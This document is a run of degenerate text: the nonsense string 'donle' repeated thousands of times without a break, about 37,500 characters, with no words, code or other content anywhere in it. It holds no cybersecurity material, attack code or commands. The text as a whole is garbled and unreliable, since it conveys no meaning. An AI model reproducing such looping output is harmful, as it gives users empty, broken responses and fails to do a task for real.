donledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonle